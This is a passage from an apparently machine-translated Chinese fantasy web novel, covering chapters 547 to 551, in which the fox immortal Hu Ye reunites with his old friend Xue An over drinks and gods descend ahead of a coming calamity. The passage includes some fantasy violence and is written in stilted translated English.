    "These two are my friends. They haven''t eaten dinner yet, let''s make arrangements!"


    "Ok!"


    Then the person in charge smiled at Fox Night and the two of them, "This gentleman and madam, what do you want to eat? There are four major cuisines in Luchuan, Guangdong and Suzhou. Western and Chinese food includes Japanese cuisine. You can order whatever you want."


    Hu Ye nodded casually, "It sounds good."


    The words are overwhelmingly expensive.


    Yu Ran couldn''t help being a little surprised. Is this still the squinting person who just wanted to show himself palmistry?


    Why has it changed so much suddenly?


    This person in charge is very knowledgeable, but he has never seen such an aura as Hu Ye, and his attitude can''t help being more respectful.


    "Sir, what do you want to eat?"


    Hu Ye sighed slightly, "Since you are here, you can do whatever you want. If you want too complicated, I guess you won''t be able to do it!"


    "Yes!" The person in charge nodded again and again, "Mr. I saw it before."


    "Well, I don''t want to trouble you anymore. Let''s have five bowls of beef noodles first!" Hu Ye said lightly.


    The atmosphere suddenly became awkward.


    When Shi Xueqing covered her eyes, she didn''t even look at it.


    The person in charge was stunned for a moment, and then asked cautiously.


    "Sir, what do you want to eat?"


    "Beef noodles! It''s the kind sold on the street, isn''t it?"


    "Ah, yes, yes! Any other requirements?"


    "Um... one more garlic."


    Everyone: "..."


    Soon, the beef noodles were served.


    I have to admit that the chefs invited by the Yu family are very skilled.


    A simple bowl of beef noodles is also made with good color and flavor, and more importantly, it is covered with thick chunks of beef.


    But Hu Ye sat on the chair without moving his chopsticks.


    Person in charge: "What else do you need, sir?"


    Huye glanced at him, then made a gesture on his chest, "Where is the rice towel around his neck?"


    "Huh? Oh, oh, I will get it for you now?"


    After that, I brought it to eat western food, and it was a napkin that was only used for dinner.


    After Huye took it, he gathered around his neck and smiled gracefully, "Then I will start eating."


    After all, the noodles in the bowl were copied with one chopstick and swallowed in one bite.


    Then he choked up and rolled his eyes and drank a big mouthful of soup before he took a breath.


    "The soup is good, but the noodles are tasteless."


    Shi Xueqing was covering her face, she didn''t dare to look up in embarrassment, and said silently in her heart.


    You swallow all the noodles in one bite, of course it doesn''t taste much.


    Only Yu Ran smiled.


    She thought...Sister Xueqing��s grandpa was so funny.


    Just when the fox night was eating noodles.


    Two girls walked into the restaurant.


    These two girls are one young and one young, and the eldest is seventeen or eighteen, so beautiful.


    The younger one is 13 or 14 years old, charming and charming.


    When such a combination appeared, it naturally attracted a lot of attention.


    And Hu Ye''s mouth was wide open, the noodles just hung outside, his eyes beaming at the two girls.


    At this time, the little girl said: "Sister Long, what do you want to eat?"


    That''s right, the two girls here are Xiaosha and Octopus.


    The two of them also came to Lingnan with Xue An.


    "Eat whatever you want!"


    "Then let''s come to the ten-drawer bun first!" Zhang Xiaoyu said with a grin.


    Xiaosha was silent for a moment, and then said helplessly: "Do you like eating buns so much?"


    "Yeah!" Zhang Xiaoyu nodded and said with a serious expression: "I love to eat buns too much I doubt that I was a bun in my previous life."


    Xiaosha: "..."


    At this time, Hu Ye couldn''t wait to swallow the noodles in his mouth, and stood up to pass.


    Of course Shi Xueqing knew what his unreliable Grand Master was planning to do, and hurriedly stopped him.


    "Master Patriarch, don''t make trouble, they are only teenagers!"


    "Teenage?" Hu Ye smiled, "I guess they can scare you to death by telling them their age!"


    After that, he leaned forward with excitement.


    Xiao Sha was thinking about what to eat, but when he turned around, he found a man standing behind him, looking at him grinning.


    Xiao Sha was so scared that she almost didn''t jump up, and her heart said, why is this guy walking silently?


    Then Huye said with a smile, "This girl, get to know me!"

 Chapter 547： why you?

    Zhang Xiaoyu was so scared that he covered his mouth.


    Actually dare to tease sister dragon.


    Does this man want to live?


    really.


    Seeing Xiao Sha''s face sinking instantly, she said coldly.


    "Give you three seconds, immediately disappear from me, or I will make you regret coming to this world."


    The evil spirit in the words makes people frightened.


    Hu Ye didn''t take it seriously, but smiled slightly, "Are you all of the Flood Dragons so irritable?"


    Hearing these words, Xiaosha''s eyes burst out, "Who are you?"


    It is definitely not easy for this man to see through his own body at a glance.


    "My name is Huye, how about making friends? I like to be friends with banshees!" Huye said with a smile.


    The corner of Xiao Sha''s mouth raised, revealing a cold smile, "Want to make friends with me? Then you have to catch my punch first!"


    With that said, Xiao Sha stepped up and deceived her body and threw a punch.


    The power of a punch caused a gust of wind in this huge restaurant.


    Hu Ye shook his head and sighed, "These days, the female is more domineering than the male!"


    As he said, he stretched out his hand to gently block Xiao Sha''s very domineering punch.


    boom.


    After a muffled noise.


    Xiaosha''s shoulders trembled, and she was shocked to step back.


    Huye didn''t move, and smiled slightly, "What? Are you qualified to be friends with you now?"


    Xiao Sha felt that her entire arm was numb with soreness, and a storm surged in her heart.


    Can actually catch his own punch lightly, who is this man?


    And Xiao Sha was horrified to discover that he couldn''t see through this man at all.


    No matter what method is used to snoop, this person doesn''t seem to exist, it''s nothingness.


    This feeling makes people want to vomit blood.


    But Xiaosha is a temperament who prefers to bend, so she sneered: "No matter who you are, since you dare to provoke, then I will let you know how powerful the dragon family is."


    After all, the divine light in Xiaosha''s eyes was great, and there was a five-clawed golden dragon cruising in this divine light.


    Hu Ye''s eyes lit up, and he nodded approvingly, "No wonder you just saw that your aura is different from the normal dragon, and you still have ancient blood!"


    Xiaosha was nearly frenzied at the moment, and she was just one step away from revealing her body. This was also her strongest human form, with dragon patterns looming on her face and a faint dragon scale on her neck.


    Then Xiao Sha stepped out, and in the next instant he came directly in front of Hu Ye, blasting out his fists.


    This punch was so powerful that it even surpassed the speed of sound, until her fist was almost touching Fox Ye''s clothes, and there was a loud and deafening noise.


    But even with such a punch, Hu Ye still had an indifferent expression on his face.


    Suddenly stretched out his hand, he directly grabbed Xiao Sha''s wrist, and then smiled at Xiao Sha who was surprised.


    "The girl''s family, why is it so violent?"


    Speaking of an understatement, he raised his hand and threw Xiaosha directly away.


    Xiao Sha turned over and landed, feeling that his whole body was boiling with blood, and her eyes were a little bit uncomfortable.


    Fox night stood there arrogantly, "Little girl, are you coming?"


    Xiao Sha gritted his teeth and rushed up again.


    But this time, it was shot out by Fox Ye with a light palm.


    Xiao Sha couldn''t help but fell directly to the ground.


    All this happened extremely quickly, but within a few tens of seconds, Xiao Sha was confused by Fox Ye''s teasing.


    Zhang Xiaoyu watched this scene in horror, especially when she saw the omnipotent Sister Long being played around like a child, her eyes were about to come out.


    No, if this continues, Sister Long will suffer. I have to quickly notify Master Xian!


    Zhang Xiaoyu thought in her heart, and then slowly backed away silently, until she reached the entrance of the restaurant, she turned around, and Sa Yazi ran out.


    Huye naturally noticed this scene, but he didn''t bother to pay attention to Zhang Xiaoyu.


    It''s just a sea monster, and it''s not guilty of making him tempted.


    Although Xiaosha was defeated several times, because Huye didn''t make any cruel moves, he was not injured.


    It''s just that the humiliation of being played around made Xiaosha go crazy, his eyes are red, and he has to defeat this nasty man.


    However, Hu Ye stood there in his spare time, no matter how Xiao Sha did, he couldn''t move him.


    Seeing this scene, Shi Xueqing was stunned.


    Is this unreliable Patriarch so powerful?


    at the same time.


    An Yan, who was playing fighting games with Xue An enthusiastically, felt a little sore in her eyes, as if she was fascinated by something, and couldn''t help but rub it a few times.


    But with such a distracting effort, Xue An "accidentally" killed An Yan''s characters.


    An Yan was a little annoyed, "You shamelessly! You won me when I was lost!"


    Xue An said with a smile: "If you lose, you lose, don''t make excuses!"


    "Huh!" An Yan rubbed her eyes, and simply ignored Xue An, but the more she rubbed her eyes, the more uncomfortable she felt.


    Xue An smiled, and when he stretched out his hand, he cupped An Yan''s small face, "Don''t move, I''ll blow your eyes."


    As he said, he tilted his head to blow An Yan''s eyes.


    The two little girls had already gone back to the bedroom to sleep. There were only two of them in the living room, so An Yan''s face turned red involuntarily.


    As the atmosphere gradually warmed up, the door was suddenly knocked open.


    Then I saw Zhang Xiaoyu rushing in panting, "Xian... Master Xian... It''s not good, huh?"


    Zhang Xiaoyu was stunned, because looking at it from her angle, she happened to see Xue An holding An Yan''s face, and she didn''t know what she was doing.


    "Master Xianshi, what are you doing?"


    An Yan flushed when she heard the noise, gave Xue An a glance, and hurriedly hid in the back room.


    Xue An rushed to Zhang Xiaoyu and said, "It''s not good to blow your eyes? Is there something urgent, so panicked?"


    Only then did Zhang Xiaoyu remember what was going on, and hurriedly said, "Master Xianshi, go and have a look. Sister Long was beaten by a man in the restaurant!"


    As soon as the voice fell, a loud noise came from the direction of the restaurant, as if something had been crushed.


    Xue An''s face became cold, and a murderous look flashed in his eyes.


    How dare to move my pet?


    Thinking inside, Xue An had already rushed out of the room door.


    It was only a few hundred meters from the place where Xue An lived to the restaurant.


    Waited for the place.


    really!


    Half of the wall of the restaurant has been smashed down and Xiaosha is lying on the ground and trying to get up.


    A man walked out slowly, still with a smile on his face.


    Xue An got angry and sneered, "Looking for death!"


    As he said, he rushed over and punched out.


    The power of this fist silenced the whole world.


    Hu Ye was also stunned by this sudden punch, and at the same time felt how familiar this person''s voice was.


    But Hu Ye didn''t dare to be careless, raising his fists to prepare to parry.


    At this moment, Xue An and Hu Ye, who had already rushed to the front, made a confrontation.


    "Fuck, why are you?"


    The two yelled in unison.

 Chapter 548： Cool breeze and bright moon, how about a few drinks?

    But the fists of both sides have already met at the moment.


    Just listen to a loud boom.


    Hu Ye was blasted and flew upside down, smashing two walls in a row, and then there was no sound.


    The audience was quiet.


    Shi Xueqing''s face was pale, shocked and regretful.


    Master Zu, who is not good enough for you to provoke Mr. Xue! This is it! It is estimated to have been beaten to death by this punch!


    And Xue An stood in place with a strange look on his face.


    Suddenly, he heard the sound of the broken bricks and tiles, and then Hu Ye crawled out of the ruins with difficulty.


    He first vomited the dust in his mouth, and then gritted his teeth and shouted: "The name Xue, I know you are not dead! Hiss, can''t you **** do it? It hurts me!"


    Everyone dared not speak.


    If you dare to scold Mr. Xue, this guy is dead.


    really.


    Seeing Xue An raising his foot and slowly walking towards Fox Night.


    Shi Xueqing''s hands and feet were cold, but still bite the bullet and walked up, "Mr. Xue, this man is the ancestor of my Lingying Palace, and there is a problem with his head, please don''t be familiar with him!"


    Xue An only glanced at her faintly, and Shi Xueqing couldn''t speak anymore.


    Then Xue An walked straight by her, came directly to the front of Huye, and looked at him condescendingly.


    Shi Xueqing''s eyes turned black, and she lamented in her heart.


    Master Zu, you can go with peace of mind! I will serve you a bowl of beef noodles in the future...Huh?


    Because Shi Xueqing saw a scene that surprised her extremely.


    Seeing Xue An''s mouth raised, an extremely cheerful smile gradually appeared on his face.


    "Old fox, I can''t die if you die!"


    "Stop talking nonsense, give me a hand! I can''t get up!" Hu Ye said angrily.


    Xue An stretched out his hand and pulled Fox Ye up from the ground.


    Then Huye shook his whole body, then removed his disguise, and revealed his true colors.


    Looking at the night of Fox, there is no longer a state of embarrassment, and it appears to be extraordinary and noble.


    It''s just that the overly beautiful face makes this aura a little feminine.


    "Tsk tsk, old fox, you are still so beautiful for so many years! It''s a pity that you are a man and ruined such a good-looking face." Xue An tusk "admires".


    The blue veins on Huye''s forehead were prominent, and he was extremely resistant to others saying he was beautiful.


    "The surname is Xue, I haven''t asked you to settle the account of your seduce my sister. How dare you say these nonsense?"


    hiss!


    There was a raging gossip fire in the eyes of many people in the room.


    Mr. Xue actually hooked up with this guy''s sister?


    Very possible!


    Seeing this guy looks so beautiful, his sister is probably even more stunning.


    Xue An disagreed, "Old fox, are you endless? How many times have I said it, but I didn''t do anything at the beginning, because I also treated Xiaoying as my sister! It was her nonsense that I did not marry , And in the end he insisted on following me to leave the Qingqiu Fox World, can you blame me?"


    "You seem to be a victim! Did you know that after the news of your fall, Xiaoying secretly left the Qingqiu Fox Realm after crying, and never knows whereabouts!" Fox Ye thought of this. Liver pain.


    "Huh? Xiaoying ran away?"


    Hu Ye nodded painfully, "I haven''t returned yet!"


    Xue An sighed, "She has grown up too, and she is strong enough to protect herself. Maybe she hid somewhere."


    "That''s because of you too!"


    "Hey, you are unreasonable!"


    "What''s the reason for you? If something happens to Xiaoying, believe it or not, I will fight you to the death?" said Fox Ye.


    Xue An laughed at the words, "Even if you count this time, this is the thirteenth and twenty-first time you have lost to me!"


    Hu Ye was full of dissatisfaction, "I hurried to fight under your sneak attack! It can''t be counted this time!"


    Xue An nodded and smiled, "Okay, then how about we fight it upright again?"


    The anger on Fox Ye��s face was suddenly wiped out, and Yun Danfeng said softly: ��It��s so boring to fight and kill. How about a refreshing breeze and a bright moon, how about a few drinks?��


    Xue An laughed and slapped Fox Ye on the shoulder, "Old Fox, do you know why I have a good relationship with you?"


    "Is it because I am kind and handsome, gentle and generous, and strong?" Hu Ye blinked and said proudly.


    "No, because I like your shameless look!"


    "Concession!"


    Xue An and Hu Ye happily walked away.


    The crowd with stunned faces was left behind.


    No one thought that things would end in such a way.


    But anyway, a storm has disappeared.


    Everyone just breathed a sigh of relief.


    But I heard a voice asking: "Thank you, is my ten-drawer bun ready?"


    Everyone looked back.


    Zhang Xiaoyu was stared at by so many eyes, a little embarrassed, stretched out five fingers, and said timidly: "If there are no ten drawers, five drawers are fine!"


    Everyone was silent.


    "How about... three drawers?"


    Still no one speaks.


    Zhang Xiaoyu said with a hint of crying: "You can''t just give me a drawer!"


    Xiao Sha couldn''t bear it, and knocked her on the head, "Have you ever finished?"


    It''s just that the hands are much gentler.


    Because Xiao Sha knows that Zhang Xiaoyu just sent a letter to the boss with his life.


    "I just want to eat!" Zhang Xiaoyu bowed her head aggrievedly, like an angry little wife.


    Yu Ran couldn''t help but ordered: "Go, steam ten-drawer steamed buns!"


    "Miss, the kitchen is destroyed!"


    "Then fix it now!"


    Just when the restaurant was busy with renovations.


    Xue An took Hu Ye back to where he lived.


    As soon as he entered the door, An Yan happened to be in the living room.


    Fox Ye was startled slightly, then stepped forward and bowed his hands.


    "This must be my younger sibling..."


    Xue An directly knocked on the back of Hu Ye''s head and said lightly: "Call my sister-in-law!"


    "Hey, if you talk about age, you are not even more than 3,000 years old even when you are born again. I have lived for more than 100,000 years!"


    Xue An raised his eyebrows, "Who said I''m talking about age with you, let''s talk about strength!"


    "You can''t come by bullying me, right?"


    Xue An nodded What about? Shall we go and fight outside now? "


    Hu Ye immediately said respectfully, "Sister-in-law!"


    An Yan was a little confused, "Huh?"


    Xue An smiled slightly, "This is a little brother I received before! Just call him Fox Night!"


    "Oh? Fox night, this name is so weird!"


    Xue An smiled and said, "Of course it''s weird! Because he was just a fox! Come on, let your sister-in-law change a look!"


    Hu Ye looked upset, "I am also a dignified nine-tailed sky fox anyhow, how can I show my original form at will, you..."


    Xue An said lightly: "Fight?"


    A ray of light flashed, and a beautiful, outrageous fox appeared in front of him.


    An Yan''s eyes gradually widened, "Wow, so cute!"

 Chapter 549： In this case, when floating

    A few dishes, a pot of old wine.


    Xue An and Hu Ye sat opposite each other, and they were suddenly silent.


    "Actually, after you fell, I searched the sky to find your soul, but I found nothing. At that time, I thought you were really dead." Hu Ye said suddenly.


    "Now that I am not dead, are you disappointed?" Xue An smiled slightly.


    Hu Ye shook his head, "Very happy! After all, if you are gone, the heavens and all realms will look a bit lonely!"


    Xue An suddenly felt that the hairs all over his body were erected, and moved back subconsciously, "I can tell you, I am not interested in men, including male foxes!"


    "Fuck! Lao Tzu is even less interested in you! Lao Tzu only likes beautiful young ladies!"


    Xue An laughed, and then there was a brief silence.


    "Come on, have a drink! Respect this long time no reunion!" Xue An raised his cup and said.


    "Okay! I also respect your return from rebirth!"


    The two drank the wine in one cup.


    Although for their cultivation base, worldly wine has no effect at all.


    But when this wine is underwater, it still makes people feel happy.


    At this time, An Yan came over with a few dishes of fried dishes.


    Hu Ye hurriedly got up and brought it over.


    "I originally asked the chef to cook it, but your brother has to eat it at home. I can only fry a few dishes randomly. You can eat it!" An Yan said with a smile.


    "My sister-in-law is too Qian. It is already a great honor for me to let you cook your own dishes."


    "Then you guys talk slowly, I''ll go to the back room first, and then call me if I have any needs!" An Yan said, and left quite knowingly.


    A smart woman will never mix with her husband''s wine bureau, it will only increase boredom.


    Fox Ye looked at An Yan''s leaving back, "Is this the girl you have been thinking about?"


    Xue An nodded.


    "Very beautiful! No wonder you have been like a rock for the past three thousand years, you can''t even look down on my sister."


    "How many times have I said..."


    Hu Ye gently shook his head and interrupted Xue An''s words, "No need to explain, I know it''s not your fault, and... I also have a woman whose eyes are full of me."


    Xue An happened to have a bite of food, and almost didn''t spray it out.


    "Ahem, what are you talking about?"


    "I said, I also have a woman whose eyes are full of me!"


    "Are you blind?"


    Fox night: "..."


    "Well, let''s not laugh! Congratulations!" Xue An smiled and toasted.


    The two drank again.


    Then Huye sighed: "I have lived for a hundred thousand years, and I have seen too much love and love. I thought I had already discovered it! But I didn''t expect to travel to that world. When I saw her, I felt the whole The person seems to have been hit."


    Xue An listened with a smile, and then asked, "Which fox princess is it?"


    Hu Ye shook his head.


    "What is the daughter of the emperor?"


    Hu Ye sighed, "Is an ordinary mortal!"


    Xue An was stunned.


    "Is it incredible? Actually, I also think it! But when I saw her for the first time, when she looked at me with wet eyes like a deer, I knew that I had fallen."


    Xue An shook his head and chuckled.


    "I know you want to laugh at me, do whatever you want, come on!" Hu Ye said with an expression of relief.


    "You are wrong, I don''t mean to laugh at you! Because I understand this feeling! When I first saw An Yan, it was like being struck by lightning, and there was only one thought in my heart. I was a robber. She must be arrested as Mrs. Press!"


    Huye laughed loudly, "This is a big deal!"


    The two drank a third glass of wine.


    "When you bring it over, let me see what my younger brothers and sisters are like!"


    Hu Ye smiled bitterly, "She is an ordinary mortal, even now she doesn''t know my identity, how can I bring it out?"


    "Oh? Are you planning to keep it like this?" Xue An asked.


    Hu Ye sighed, "I have tentatively asked, but she is a very opinionated, even somewhat second girl. She said she doesn''t want longevity, just this life."


    Xue An opened his mouth slightly, "Did you engage in a minor? Otherwise, why are you so second?"


    Huye ignored Xue An��s words and continued to sigh: ��You don��t understand her, even me! Maybe because of this, she will attract me like a magnet!��


    "Okay! Stop talking, to those fox girls who escaped the devil''s claws!" Xue An said with a smile.


    Hu Ye glared at Xue An and raised his cup.


    While waiting to drink, Xue An said softly: "Brother, bless you! You finally found it!"


    Fox night nodded and drank it.


    After a few glasses of wine, the atmosphere becomes active.


    At this time, Xue An said calmly: "You have forcibly compressed your strength, even at the expense of deceiving the law of the heavens here with your primordial spirit clone, what do you want to do?"


    Hu Ye sighed slightly, "Actually, I don''t want to come, but the world will change greatly, I have to come!"


    "Oh? There will be a big change in the world?"


    Hu Ye nodded, "Although you have cultivated from an ordinary man to a peerless immortal in just three thousand years, you are invincible in the world! But after all, the accumulation is too shallow, and you don''t know many secrets in the heavens."


    Xue An nodded slightly, knowing what Fox Ye said was true.


    The vastness of the heavens makes it impossible for Xianzun to know all the secrets.


    That''s why Xue An spared no effort to take that step and prove the way as holy.


    It''s a pity that in the end it fell short and was reborn.


    Hu Ye continued: "Although the strength of the Qingqiu Fox World is not the strongest among the heavens, its long history is definitely among the best. Therefore, many secrets unknown to the world are also recorded in the Qingqiu Fox World."


    "In this human world! Although this realm has a shallow cultivation base, its aura is barren! It is called the Sifang Jedi, but according to rumors, this human world is actually the root of all realms!"


    "Oh?" Xue An was slightly surprised.


    "In the beginning I didn''t quite believe it! But later I knew that all this is true!"


    "If the heavens are branches and leaves, then the world is the roots of trees!"


    "And as far as I know there are several places like the world among the heavens! But this is obviously the most important one!"


    "Every time there is a big change, it also means that the heavens and the world will have a violent shock! This is also called a robbery! And this time, this robbery is coming!"


    Xue An said indifferently: "Heaven and earth are absolutely connected, will the gods come?"


    Fox Ye shook slightly, "Yes, that''s what it meant!"


    "No wonder the aura here has begun to recover recently, and the gods and demons want to encroach on this world."


    "Then you know, what are these guys asking for?"


    "what?"


    Fox night dipped his wine and wrote two characters on the table.


    "Qiyun?" Xue An was startled slightly, and read it out.


    Hu Ye nodded, "Yes, it''s luck!"

 Chapter 550： So-called luck

    The so-called Qi Luck refers to the various destinies that bless the heavens and the earth.


    Mysterious and mysterious, but real.


    And not only people have luck, a city, a country, and even a group of people have their own luck.


    Time comes and the world is the same force, and heroes are not free to transport.


    What is said is that when the luck is in the body, the ant can also fly into the nine days and become a dragon.


    Once the luck dissipates, even if you are a dragon, you will be trapped on the shallows.


    Hu Ye continued: "According to the secrets handed down in the Qingqiu Fox Realm, with every calamity, this human world will produce a lucky orb, and those who possess this thing can become a favored person in the next calamity! Will bless the entire ethnic group!"


    "And this calamity is approaching, when the world will open the secret realm of air luck, this naturally attracts the coveting of the gods and demons!"


    Xue An''s eyes flickered after hearing what Hu Ye said.


    He thought of the scenes on the tortoiseshell secret.


    Back then, the Chinese ancestors were extremely tough, and even the golden crow in trouble could be shot down with one arrow, but why suddenly they cut themselves to build a tree, so that this world was completely destroyed?


    And the last sentence, bless me, the Chinese, does not seem to be that simple.


    Xue An was a little confused, but Xuan even suppressed it again.


    When there is no more information, wild guessing will not solve any problems, and will only be troublesome.


    And since this calamity is approaching, the answer must be in this calamity.


    When the time comes, look for it yourself.


    Anyway, as long as he is there, no gods and demons are allowed to mess up the world.


    If the gods dare to come, then they will slaughter them!


    Fox Ye kept looking at Xue An, and only smiled after a long while: "I guess you must be thinking now, **** all those gods and demons who dare to get involved!"


    Xue An smiled slightly, "Yes!"


    "I have some sympathy for those gods and demons! Seriously, how did you cultivate to this land in this world with such a poor aura?"


    "Do you want to know?"


    Hu Ye nodded hurriedly, "Of course I want to know. My clone''s cultivation base is too low, I''m afraid I can''t cope with this disaster, so I also want to improve my cultivation as soon as possible!"


    "It''s very simple, because Xiaoye I am a genius!"


    Fox Ye was speechless for a while, because he could not refute this sentence.


    He witnessed with his own eyes how Xue An, from the previous life, went from an obscure cultivator to a peerless immortal in just a thousand years.


    This kind of progress can no longer be described by genius, it can only be said that it is simply abnormal.


    But his triumphant attitude is really hateful! Hu Ye gritted his teeth and looked at Xue An with open teeth.


    But I can''t beat him, what should I do?


    Hu Ye looked at the hip flask on the table, suddenly had an idea, and said with a smile: "Okay, let''s not talk about those for now, old friends are reunited, let''s not get drunk tonight!"


    After speaking, he personally poured a glass of wine for Xue An and handed it over.


    But when he was handing the wine, he secretly put a drunken charm in the wine.


    There was no such talisman in the heavens, but because Fox Ye often drank with people, he created such a talisman.


    Xue An took the wine glass but did not drink it, but quietly glanced at Fox Ye.


    "What''s the matter?" Hu Ye''s face was calm.


    Xue An shook his head, "Nothing, I just think the moonlight is good tonight, it''s a good day to get drunk!"


    "Hahaha, I think so too!" Hu Ye smiled very happily.


    One hour later.


    Xiaosha dragged the octopus who had eaten ten-drawer buns back.


    "Sister Long, what are you doing so fast? I still have a bun, do you eat it?" Zhang Xiaoyu did not know where to take out a bun and handed it to Xiaosha.


    Xiaosha ignored her.


    Because Xiaosha is in a bad mood now.


    Suddenly, I was molested by a guy, and I couldn''t beat them.


    This was unbearable to Xiao Sha, who was arrogant.


    It is normal to say that he can''t beat the boss.


    But that foolish guy doesn''t look very good, why can''t he beat him?


    Xiao Sha thought in his heart, speeding up, and going home after turning a corner.


    Then she was stunned.


    Not only was she stunned, but even the octopus, who was chewing slowly on the last bun, was stupid.


    Under the moonlight of the full courtyard, the hateful guy who defeated himself was squatting on the ground and crying.


    While crying, he mumbled vaguely.


    "Uuuuu, I''m too difficult! My sister is missing, and she can''t beat this Xue An!"


    "Bah, today''s moon is not round, I am really angry! Does even the moon bully me?"


    This...what''s wrong with this?


    Xiao Sha was suspicious.


    Xue An didn''t know when he appeared in the courtyard, and sighed helplessly, "Okay, don''t cry, knowing that you are too difficult! Go back to sleep!"


    "Why do I listen to you so much? I won''t go back to sleep, I''m going to sleep here!" Hu Ye lay directly in the courtyard, and snored after a while.


    Xue An couldn''t laugh or cry, turned his head and said to the dumbfounded Xiaosha: "This guy is drunk!"


    In fact, when he first drank, Xue An saw Fox Ye��s small movements, so he took the count and took the Fox Ye to drink.


    The result was that Xue An was okay. After three cups of this Fox Night, he was completely drunk and became drunk.


    It''s just that his drunkenness is not the same as others, he is neither noisy nor disturbed, just squatting on the ground and crying!


    It seems to shed tears for a lifetime.


    Xiao Sha looked at Fox Ye who was lying on the ground sleeping, and suddenly smiled.


    Humph, dare to bully me? Retribution now!


    at the same time.


    Kuchan Temple in the northwest mountains.


    The fat monk banished the incense, then sat on the futon and began his daily homework.


    Since his disciple Hui Nian died at the Hidden World Immortal Gate Conference, the fat monk has closed the mountain gate, completely ignoring world affairs.


    Just when the fat monk chanted prayerfully.


    Suddenly, the sound of chanting from the heavenly girl suddenly came from the silent hall, and there was a strange fragrance.


    The fat monk opened his eyes and looked up in surprise.


    Seeing the Buddha statue facing him, he slowly opened his eyes, and then stepped down from the shrine.


    At each step, a white lotus flower will be born under his feet, supporting him to move forward.


    The fat monk was startled at first, and then ecstasy gradually appeared on his face, choked and prostrated on the ground, kowtow frantically.


    "The Venerable is on The disciples bow to the Venerable!"


    This Buddha statue came slowly, and every step it took, the mud tires all over his body would fade away.


    When he came to the fat monk, he had become a topless, extremely lean monk.


    This is the founder of Kuchan Temple, the Venerable Kuchan who has already ascended to the Buddha Kingdom.


    Venerable Kuzen slowly stretched out his palms as big as a fan, and gently rubbed the top of the fat monk''s head.


    "For these years, you have worked hard!"


    "The disciple doesn''t work hard! To see the return of the venerable, the disciple will have no regrets in this life!" said the fat monk crying and laughing.


    The Venerable Suffering Zen showed a slight smile, and with his smile, the hall that had been somewhat dilapidated suddenly turned into golden light and was completely new.


    "Very good! This time, you will be my protector!"


    "Yes!"

 Chapter 551： Shura is born

    overseas.


    Shura Island.


    Compared to the downfall of other hidden immortals, this Shura Island can be considered prosperous.


    At this moment, in an underground palace located in the center of the island.


    The owner of Shura Island, Killing, was kneeling respectfully in front of an extremely ferocious idol, and said in an excited voice.


    "Honorable King, everything you want is ready!"


    A vague but very majestic voice came from the idol, "Very good! Present it!"


    The men behind Killing Chong winked, and these people hurriedly carried a stretcher and walked up.


    When the white cloth covering the stretcher was lifted, it was a **** corpse.


    Killing said respectfully: "Honorable King, this is the martial arts expert who was captured according to your request, and **** to tortured to death, making it full of endless resentment!"


    The idol snorted coldly, "It''s still too weak!"


    Killing turned pale, and hurriedly crawled to the ground, "The king calms down! This is a martial arts master who has been captured after damaging dozens of his subordinates!"


    "Fine, in this barren world, I don''t expect you to find any good stuff! Just him!"


    With that, a cloud of black mist appeared above the idol.


    This black mist exudes a thick ominous atmosphere, which makes people creepy.


    Then the black mist floated on the stretcher, separated countless tentacles, and covered the whole body.


    After a while, black mist melted into the corpse like water, and then the dead corpse began to tremble.


    suddenly.


    The dead body slowly opened his eyes.


    It was a pair of blood red eyes filled with endless killing intent and tyrannical air.


    Killing and many Shura Island clansmen hurried to kneel to the ground.


    "Welcome King Shura to come!"


    This King Shura grinned, and grabbed the nearest doorman. Before he screamed, he smashed his head with a palm, and began to devour his brain.


    This **** and terrifying scene made many people on Shura Island tremble.


    Only Killing was looking at this scene with a face of intoxication, and exclaimed with incomparable flattery: "The king is truly majestic!"


    This King Shura swallowed his brain in a few mouthfuls, and licked his lips greedily, "I haven''t tasted this for a long time! I really miss it!"


    While speaking, the muscles of this King Shura began to wriggle frantically, the scars left after being tortured and killed instantly disappeared, and that face also transformed into an extremely evil face.


    "My god''s name is Feitian! Can you remember it?"


    "Yes! Honorable Feitian Lord!" Killing said hurriedly.


    "Send someone to investigate around, and if there is anything abnormal in this world, report it to me immediately!" The King Shura said lightly.


    "Yes!"


    At the same time, not only Shura Island, but among the hidden fairy gates such as the Golden Lion Tower and the White Dragon Gate, either the founder of the mountain or the gods worshipped by him descended.


    Even strangers began to appear in famous mountains and rivers or downtowns.


    The whole world gradually became lively.


    And in Lingnan Yujia.


    Everything is still so peaceful and serene.


    The formal engagement ceremony will begin soon.


    But Hu Ye was still asleep on the sofa in the living room, and the snoring sound almost lifted the roof.


    An Yan said helplessly: "How much did you let him drink yesterday? Why did he become drunk like this?"


    "He wants to drink it! I didn''t force him to drink!" Xue An said with a smile.


    "Then what should I do now? Let him sleep here by himself?" An Yan asked.


    Xue An shook his head, "I told him to get up!"


    "It''s useless, Xiao Sha almost beat him just now, and still couldn''t call him!"


    "That''s because you don''t use the right way."


    Said Xue An stepped forward, "Oh, what a beautiful female monster!"


    Fox Ye, who was snoring loudly, opened his eyes in an instant and jumped up from the sofa, "Where? Where?"


    Xue An said lightly: "Sorry, I just flew away!"


    Several black lines appeared on Huye''s forehead, and gritted his teeth and said: "Xue An, are you kidding me again?"


    Xue An nodded, "You guessed it!"


    Fox night: "..."


    "Okay, don''t quarrel with children like you two! It''s time to go to other people''s ceremony!" An Yan said dubiously.


    The scene just now, in An Yan''s eyes, is really like two teenagers bickering!


    I can''t help but sigh, no wonder there is a saying that men are teenagers to death!


    Hu Ye was very dissatisfied with Xue An, but he respected An Yan very much. Hearing this, he nodded and said, "Good sister-in-law!"


    At this moment, Thinking and Nian Nian changed their clothes and went downstairs.


    "Mom, when are you going to have a banquet?" Nian Nian asked, blinking.


    "Let''s go in a while!" An Yan said with a smile.


    But Hu Ye stared at the two little girls blankly, and said with envy after the meeting: "Xue An, are these two your daughters?"


    "of course!"


    "My God! This is too cute!"


    Fox Ye''s eyes shined straight, and he stepped forward, crouched down and said with a smile: "Two little beauties, what are your names?"


    Xiangxiang and Niannian looked at each other, and then said in unison: "Auntie, my name is Xue Xiang (Xue Nian)!"


    The smile on Hu Ye''s face solidified.


    Ah... Auntie?


    And this scene made everyone present couldn''t help laughing.


    An Yan suppressed a smile and said to the two little girls: "How can you call others auntie?"


    Miss Miss Nian nodded thoughtfully, then said in unison: "Sorry, we shouldn''t call you aunt!"


    The expression on Fox Ye''s face became a little more natural, but the next words of the two little girls made him completely crazy.


    "You are so beautiful, we should be called sister!"


    At this time, even An Yan couldn''t help it, covering her mouth with a smile and shaking her whole body.


    Xue An smiled even more.


    Fox Ye''s expression became extremely embarrassed, "Uh...two little beauties, you are called wrong, uncle is a boy! How can you be called sister?"


    "Boy?" The two little girls widened their eyesYes! "Hu Ye showed his arms and said proudly: "And he is still a very strong boy!" "


